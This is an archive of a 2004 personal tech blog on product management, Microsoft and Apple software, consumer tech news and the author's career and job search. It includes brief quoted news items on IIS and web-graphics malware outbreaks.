This is cool that Google has booked domain names already as Gbrowser.com .....hmm may I should book all domain names starting with Letter "G" :) like GShopping.com, GMate.com, GTravel.com, GOS.com (GOperationsystem.com) or how about this GSoft.com like Microsoft.com ..... lol

Hiring Technical People

2004-09-25T01:13:00.000-05:00

productmarketing.com: "Tuesday, September 21, 2004

Hiring Technical People

Johanna Rothman has published Hiring The Best Knowledge Workers, Techies & Nerds: The Secrets & Science Of Hiring Technical People, available at Amazon.
She writes, 'Hiring knowledge workers, such as technical people, is different from hiring purely skill-based staff. Knowledge workers are not just the sum of their technical knowledge; they are the sum of their technical knowledge and the way in which they apply that knowledge to the product. The method with which they apply their knowledge is determined by how they use their technical skills for the product, how they manage their work, and how they manage their relationships with other people. Skill-based staff members have a set of skills they can apply the same way in almost all situations. Knowledge workers must adapt their knowledge to the situation.'

More about Johanna and the book on her blog, Hiring Technical People."

Hello : Introducing BloggerBot

2004-09-20T14:48:00.000-05:00

Hello : Introducing BloggerBot: "Introducing BloggerBot
Now you can use Hello to publish pictures to any Blogger blog.
Meet BloggerBot.

Just use Hello to send your pictures to BloggerBot. BloggerBot will automatically resize your JPG pictures, add your captions, and publish your pictures to the Web.

You don't have to resize pictures by hand, transfer files, format HTML posts, or even find a place to host your images - Hello does all the work for you. And, it's totally free. "

What is in BETA?

2004-09-19T23:53:00.000-05:00

I ran into Yahoo's new beta site for travel....

FareChase - Searching the Internet for Travel!: "Search Here. Travel Everywhere.Whether you are looking for flights, hotels or rental cars, we search more than 50 internet travel websites so you can find the trip you want at the price you want. "

Also A9 is out of beta process that begun in April and now the site is capable of linking ur Amazon's searches history into this and gives you some cool interfaces to bookmark, search etc... take a look at it ... A9.com

Yahoo! Groups : "biz_analysts" Messages

2004-09-18T01:24:00.000-05:00

I recently posted a message on our Yahoo groups called "Biz_analysts" trying to analyze what a Business Analyst should do? The topic name is "Analyze this.... Analyze that..."

Yahoo! Groups : biz_analysts Messages : Message 29 of 30:
"Analyze this .... Analyze that.... sounds like a movie name, where
Robert De Niro and Billy Crystal have played outstanding
performance ... anyways the reason to post this image and topic
on 'BRAIN' yahoo groups is to hear your views, I feel that as a
Business analyst we should not only Analyze uni-direction, but need
to Analyze bi-directional... what does that mean???

Well, we (BA's) go out and start understanding business requirements
and the problems faced by our customers and try to write requirement
documents, Use case, UML, blah blah, which i terms as 'Analyze
this'...

Now at this juncture, before pouring those documents to development
teams, ideally one should take requirements and share them with your
internal development teams and understand their point of view and
the tools they are planning to use to address the problems, which I
term as 'Analyze that...'

We have to do a balancing act of addressing customers/market
requirements (inward) and address technology and tools (outward) to
customers/market, this balancing act helps us to release
products/projects on-time and stay with technology that and cutomers
benefit in both ways.

Whether you are a Business Analyst for Product based company or
Project based companies, whether you use Rational tools or Product
mgmt tools, the inward and outward information sharing has to
occur....

So why don't you guys Analyze this thought .... and provide your
opinions and views ...

'Doc, Doc ur good.. ohh yeah ur good ...', famous dialogues from the
movie :)"

Click to join biz_analysts

Skype - Free Internet telephony that just works

2004-09-16T20:18:00.000-05:00

Well here we have another FREE services offered for Internet Telephony .... If you guys like this service then add me to your list my screen name is "dialmenow"......

Skype - Free Internet telephony that just works: "Skype is free Internet telephony
that just works.
Skype is for calling other people on their computers or phones. Download Skype and start calling for free all over the world."

PC Magazine News: Bose Technology Re-imagines Auto Suspension

2004-09-13T20:28:00.000-05:00

Innovation at its best .... from a Company who are pioneers in sound and music are now into car suspension .... Bose ur the Boss :)

PC Magazine News: Bose Technology Re-imagines Auto Suspension: "Bose Technology Re-imagines Auto Suspension
By Bill Howard
August 26, 2004

Maybe your dream car has an 11-speaker Bose entertainment system in the cabin. Well, the next performance car of your dreams could have a Bose suspension system under the sheet metal. Seriously. The Framingham, Massachusetts, company best known for audio systems and speakers, has developed a revolutionary computer-controlled suspension system that replaces the traditional shocks and springs with electronic actuators. The result is a ride that's absolutely flat over the bumpiest of roads and around sharp corners. In theory, a car could even bank into turns, as do planes and high-speed trains. "

How does Product Management help us get better products?

2004-09-12T20:28:00.000-05:00

How does Product Management help us get better products?

Thinking about this question for sometime I had no quick answer in short conversation, so I kept my observance of how other companies changed products....

Well, I was washing my face and I noticed that I had a pimple/acne (dude this age u still get it ...anyways) and wanted to get rid of it, so i applied a cream from neutorgen, I can do this only in the night before sleeping coz if I applied during morning/evening times anybody could notice the cream, since it was white in color and looks like a patch on your face when applied :) ... .. so this was not effective as experienced by the consumers and they were forced to apply during night times...

OK, so "how did Product Management solve this conundrum"?
As Product Managers are called market messengers, they did their market survey and found out that their is a problem with their consumers,... they wanted to liberate them so they can apply this cream whenever ... after research and development the next version of the product from neutrogen had some amazing features, I purchased this new product without knowingly the cream was not white anymore, it was your skin color, I mean it was transparent cream.... so now i can apply anytime, even go to office and still nobody notices that I had a cream for acne applied and the cream is doing its job of kicking away the pimple/acne ... For neutrogen, they gained market share and consumers loved this product much better than all those white creams based ones...

This was one of the features among many they came up with and they have kept their innovation quest going ... some of the companies don't even understand the need of product management, they mostly promote their own feature lists and then look for buyers instead of other way round ....

Software Product Management: If you can't define it, you're doing a bad job at it...

Inside Intuit: How the Makers of Quicken Beat Microsoft

2004-09-05T20:53:00.000-05:00

YOU got to read this or best buy this book ..... Home Page: "Inside Intuit: How the Makers of Quicken Beat Microsoft
and Revolutionized an Entire Industry"

To read click here as you read the timeline how Intuit won all this years the author makes it point to say that Intuit is celebrating 20yrs of fun, passion, product development and stayed as leader in small and medium business .....

I wld say Microsoft a big Copier, bigger than XEROX, shld we start calling MS as "MicroCopy"

Intuit is truly the No.1 product based company, I would love to work .... make sure to read rest of the pages on that site ....

Blogging continues, after break ;)

2004-09-05T19:30:00.000-05:00

Well, I kind of went of the track as i needed some break to make my India trip after nearly 2 and half yrs since my last visit ...

The trip was good, as planned i was able to visit bangalore, delhi, agra and was fortunate to see the 8th wonder of the world "Taj Mahal" Click here.

So now back to blogging ..... First thing i did was to throw away my old desktop and bought a new HP Pavilion with dvd and cd writer and 200GB HDD (well thats gonna be filled in few months for my kind of surfing :), it is really cool desktop built with firewire card, 8in1 card readers and also flat 17" monitor all for well 1200$ kind of pricy but when u want the best u got to pay the best ....

Only things i dont like is they have installed XP home edition and the damn guys have removed the personal web server IIS on this edition so now i'm stuck have to upgrade to XP pro where MS can make money ... and office 2003, 2 month trial ... basically Bill wants to keep his billionarie position tight ....

WHAT IS A FEATURE???

2004-07-10T02:54:00.000-05:00

Did anybody ask you this question? WHAT IS A FEATURE? Well checkout different perception of people in different department within the same Company ..... One Product doesn't fit all :)

productmarketing.com: "What's a feature?
When Daniel Shefer asks, 'What's a feature?' the answer depends...

Marketing - A feature is what we need to increase market share.

Sales - A feature is what we promised the customer to close the sale.

Business Development - No idea what a feature is but we?re sure we can partner with someone to find out.

QA - If we can't auto test it, it's a bug.

Development - That's not a bug, that's an undocumented feature.

Support - A feature is a rope given to customers to hang themselves with.

Services - A feature is one more thing to customize.

The CFO - A reason to increase the price of the product.

The VC - A feature is a barrier to entry that you set up to prevent competition from entering the market.

Customer - The feature is what I asked for but not what I really needed."

Apple OS X Tiger preview

2004-07-09T20:40:00.000-05:00

Guys check out the new OS from Apple, i liked the dashboard, search and RSS feed intregration features in the new OS and guess what Microsoft will follow the same so start expecting what u might get in newer version of Longhorn :)

Apple OS X Tiger preview: "Apple OS X Tiger previewStart Slide Show

Longhorn and Tiger: Who's Copying Whom?

2004-07-02T14:30:00.000-05:00

Longhorn and Tiger: Who's Copying Whom?: "Wednesday, June 30, 2004
Longhorn and Tiger: Who's Copying Whom?
By Mary Jo Foley

The bigger question: What does it matter? Let the platforms ultimately compete on their own merits.

Now that Apple has previewed publicly its 'Tiger' Mac OS X 10.4 release, everyone's raring to pit Tiger against 'Longhorn.'"

I read that Apple actually is copying a product named Konfabulator. At least that's what the guy who developed Konfabulator says.

I CALL THIS INNOVATION with X --> XNNOVATION, copy (xerox)the innovated technology and grow much faster

Ohh one last thing if you need Microsoft Bloggers ... A List of Current and Former Microsoft Employees Who Blog:
Click here

Visual Studio 2005 Beta Home

2004-07-02T09:53:00.000-05:00

Visual Studio 2005 Beta Home: "That's right, Beta 1 of Visual Studio 2005 is here! To date, Microsoft has released various pre-release builds of Visual Studio 2005 such as the alpha release at PDC and new interim builds we call Community Technology Previews.
At Tech-Ed Europe on June 29, 2004, Microsoft announced the availability of Visual Studio 2005 Beta 1 along with some other very important announcements detailed below. More... "

Big paydays for bad CEOs

2004-07-02T08:17:00.000-05:00

MSN Money - SuperModels: "Big paydays for bad CEOs"

It's not that they make huge paychecks. It's that they make huge paychecks by chiseling their workers, their customers and their investors."

Read the entire article on msn

Malicious Code Planted Via IIS Flaw

2004-06-25T16:47:00.000-05:00

Malicious Code Planted Via IIS Flaw: "Attack on IIS Web Sites Infects Browsers With Malicious Code
By Dennis Fisher and Larry Seltzer
June 25, 2004

Updated: Security analysts say that the malicious code that has been infecting some Windows machines was planted via an IIS vulnerability on the Web servers that host some high-traffic sites. The attack uses vulnerabilities previously patched by Microsoft updates. "

Web Graphics Exploit Marching Across Internet

2004-06-24T21:50:00.000-05:00

WATCH OUT !!!!!

Web Graphics Exploit Marching Across Internet: "Security experts are tracking a new piece of malware that appears to be compromising large numbers of Windows PCs and may be laying the groundwork for the creation of a large spamming network or a major attack in the future.

Analysts at NetSec Inc., a managed security services provider, began seeing indications of the compromises early Thursday morning and have since seen a large number of identical attacks on their customers' networks. The attack uses a novel vector: embedded code hidden in graphics on Web pages. "

MSN Hotmail Joins Storage Race

2004-06-24T17:44:00.000-05:00

MSN Hotmail Joins Storage Race: "Microsoft on Thursday will make official its plans to join the Web-based e-mail storage wars by increasing storage for users of its MSN Hotmail service.
Free MSN Hotmail users will be gaining 250 megabytes of storage, up from 2MB today, while premium users, for $19.95 a year, will be receiving 2 gigabytes of storage, MSN will announce"

PC Magazine Utility: DiskPie Pro, Clean Up Your Hard Drive

2004-06-22T17:24:00.000-05:00

SLIDESHOW of DiskPie Pro

PC Magazine Utility: DiskPie Pro, Clean Up Your Hard Drive:
"No matter what the size of your drive, you're bound to run out of space when storing digital photos, MP3s, and especially digital video, not to mention bloated Word documents full of inserted images, overloaded PowerPoint presentations, and the loads upon loads of e-mail attachments you're bombarded with daily. Have you seen the size of your Outlook mail folders lately? Windows Explorer offers no easy way to find obese folders and files on your system, so when the drive is approaching its maximum, you're stuck!

Performance Review - typical hitler style

2004-06-21T22:40:00.000-05:00

Dilbert Comic Strip Archive - Dilbert.com - The Official Dilbert Website by Scott Adams - Dilbert, Dogbert and Coworkers!

My Year's Horoscope - Deccan Herald

2004-06-21T22:15:00.000-05:00

Year's Horoscope - Deccan Herald: "PISCES (February 20 to March 21)

Demands of work may strain the frail fish, though professional triumphs lure Pisceans for an exciting holiday. The star pattern is so marked that you find this a perfect time with new experiences and a dominant cycle will lead you on a successful professional ladder. Pisceans grows wonderfully well in the home sector. Hard working Pisceans need a break, so make your time for relaxation. Emotional happiness is a solace and marriage for the eligible foreseen. Fatigue lays Pisceans low during summer time. Mercury feels constrained in financial matters for the business lot between May and August. Nature refreshes you with good health on a holiday. The year 2004 is buzzing with plans to expand and career sector bestows recognitions, promotions, even public acclaim. Be alert to opportunity, it is rarely so abundant as it is now. The trends of the year are vibrant. Personality softens considerably by the end of the year when loving Venus exits Pisces; others will fall in your wavelengths. "

I SHALL LOOK OUT FOR OPPORTUNITIES !!!!

eBay item 3684006603 (Ends Jun-21-04 15:45:00 PDT) - 1 GB GMail Account Invite - Get your own address fast

2004-06-21T17:46:00.000-05:00

Gmail Account for Sales on eBay anywhere from $1 to $50, Can't Believe check it out here..

eBay item 3684006603 (Ends Jun-21-04 15:45:00 PDT) - 1 GB GMail Account Invite - Get your own address fast: "1 GB GMail Account Invite - Get your own address fast Item number: 3684006603

Bidder or seller of this item? Sign in for your status Add to watch list in My eBay

Current bid: US $2.00

Time left: 1 mins 14 secs
3-day listing
Ends Jun-21-04 15:45:00 PDT
Start time:Jun-18-04 15:45:00 PDT
History:5 bids (US $0.01 starting bid)
High bidder: searchin2k( 1 ) "

MSDN Event on SQL Server & Visual Studio 2005

2004-06-21T16:46:00.000-05:00

Tech News -
Had been to local Microsoft event in fairfax recently, pretty interesting developments in the newer version of VS and SQL server 2005.

I feel SQL Server Reporting services will uproot Crystal reports as it hits the market in 2005 for the following reason

It is powerful coz it is from MS

It is free as it ships along SQL Server and you can install on the database server and works great, if you plan to install on a separate Reporting server for large companies of 100+ for performance issues then u got to buy licenses

Very EASY to use, web friendly all reports are published onto local intranet and fast delivery of reports unlike Crystal. (Well customers will justify this)

Finally MS is into reporting also, puts Business objects guys to think and work before they are up rooted from their business....

Some of the links to share

ASP.NET link (the newer version has a feature called Refactor very helpful during coding ...)

SQL Server 2005 I liked the new XML data type where u can store and search on child nodes easily, yet to figure out where it could be used....)

MS Blogs

Business practices

Tips: All recent Project code name such as Yukon, Whidbey, Orcos etc are the names of location or island in Washington state, so now u know what next version of MS names will be ...

Desktop vs. Enterprise Applications - The impact on Product Management

2004-06-21T00:23:00.000-05:00

The below article highlights some of the hurdles you have in developing enterprise wide solution Vs desktop based solution, I have literally seen every aspect mentioned in this article but never though of putting this on a paper and this article is a must read for anybody dealing with enterprise solution or planning to develop one ....

Desktop vs. Enterprise Applications - The impact on Product Management: "A couple of months ago I discussed product management with a VP at a company that is moving from the 'tool space' to the 'enterprise application space'. As a result of that conversation, I asked myself, how is product management different for enterprise software vs. for desktop applications? "

To read more click here

Who moved my cheese/poop?

2004-06-20T00:25:00.000-05:00

"For anyone who has ever read Spencer Johnson?s Who Moved My Cheese?, you'll enjoy this

cartoon by Hilary Price."

Click here to read the article "Who Moved My Poop?" By Jamoka

Working @ iCode

2004-06-19T23:55:00.000-05:00

Working @ iCode

It took me 6.5 yrs to understand the lifecycle of Product development before I got excited and exited the cycle at iCode.

Talking about iCode, it was a great start up company back in Bangalore during 1997-98 when Internet boom had started in Silicon valley and our co-founders traced back to India for tapping the talents locally for what is called "Cheap Labor". I don't like to call cheap labor, it sounds cheaper and doesn't look professional in an IT industry, so I rather call "low cost resources".....

Joined summer of 1998 as Webmaster, and agreed to work in night shift which was a change in work culture for my mom and pop, who know that working in office means regular shift as my father was a government employee as a Wielding Master/Instructor.

I was happy getting the job, told my mom and made her to feel good about my job.. My mom is typical housewife she questioned me what kind of job will you do in night, so I told my mom "I'm Webmaster", manage the entire site blah blah ...

All she could understand was I was some kind of a master and she responsed with a smile on her face saying "Your grandfather was a Head master in a School, your father was a Wielding master and now you're a Webmaster... so you should be doing a good job ..." the reason she said this was, the word "master" being repeated in our designation in the family, so she concluded that I was a master of Web.... I was damn surprised the way she thought about my job :)

Now after working in night shift for a year got a break to work in mid-day shift and worked on interesting project called "iShop" an e-Commerce proto-type, this project opened the doors of E-Commerce, came across one of the best sites Amazon, cdw and others...

I quickly advanced further into e-commerce product called "Accware Online" now part of Everest Standard edition, equipped 15 memeber team consisting of 8 web developers and 7 web designers to develop out of the box solution along with 2-3 DLL guys. The product become a huge success due to team work and our customers our solution. This was the best thing that could have happened to any developer, a kind of instant gratification.

At this juncture iCode grew from 100 to 200 employees and keeping my rhythm I wanted to move to US for better opportunities (and also my wife was wanting to work in US...) so dropped here with 2 suitcases to explore North America continent, it was the second country I was visting, after my Kenya visit from previous company on a project in Mombasa & Nariboi.

I kind of liked this place, the network of roads amazed me. I have driven most on route 66 as it became popular destination to drive into Captial of US, Washington DC.

Here i'm after 4 years of stay in US without a green card (as i missed the bus) and reside now in Fairfax county, looking for a job in Product/Project Management or Technical Lead position as I quit/resign/laid off (you can perceive it anyway) as far as INS is concerned, I'm not working anymore :)...

My experience @ iCode was transforming as I moved from different roles of software life cycle, it was challenging and an experience to add to my resume. Worked in development, design, analysts, developement manager, product manager etc...

My Accomplishment
a) Everest, is winner of Codie award for best software product category 2004
b) Customer's acknowledging, E-Commerce the best out of the box solution
c) Was the inventor for patented technology in search engine optimization for E-Commerce websites

Last 9 yrs has been a journey and I enjoyed every bit, working with my colleagues back in India, US, Canada, Kenya and UK. If your are interested in my resume, pls email me to HarshaS@Gmail.com :)

My ePragmatic blogger is live today

2004-06-19T19:55:00.001-05:00

Jumped onto the wave of bloggers, decided to record my snippet of information as i encounter in the field of Technology...

Created my blog account as ePragmatic, one of the reason i choose this name was I'm kind of practical guy, i like to get on to do somethings with little book knowledge and be able to gain experience on the work....

But Why ePragmatic? Well "e" stands for electronic or e-Commerce and I was influnced by Pragmatic Marketing a process for Product Management www.PragmaticMarketing.com .... so hence I coined it as "ePragmatic", makes sense :)

So let's get started with some real solution for real world and get practical...

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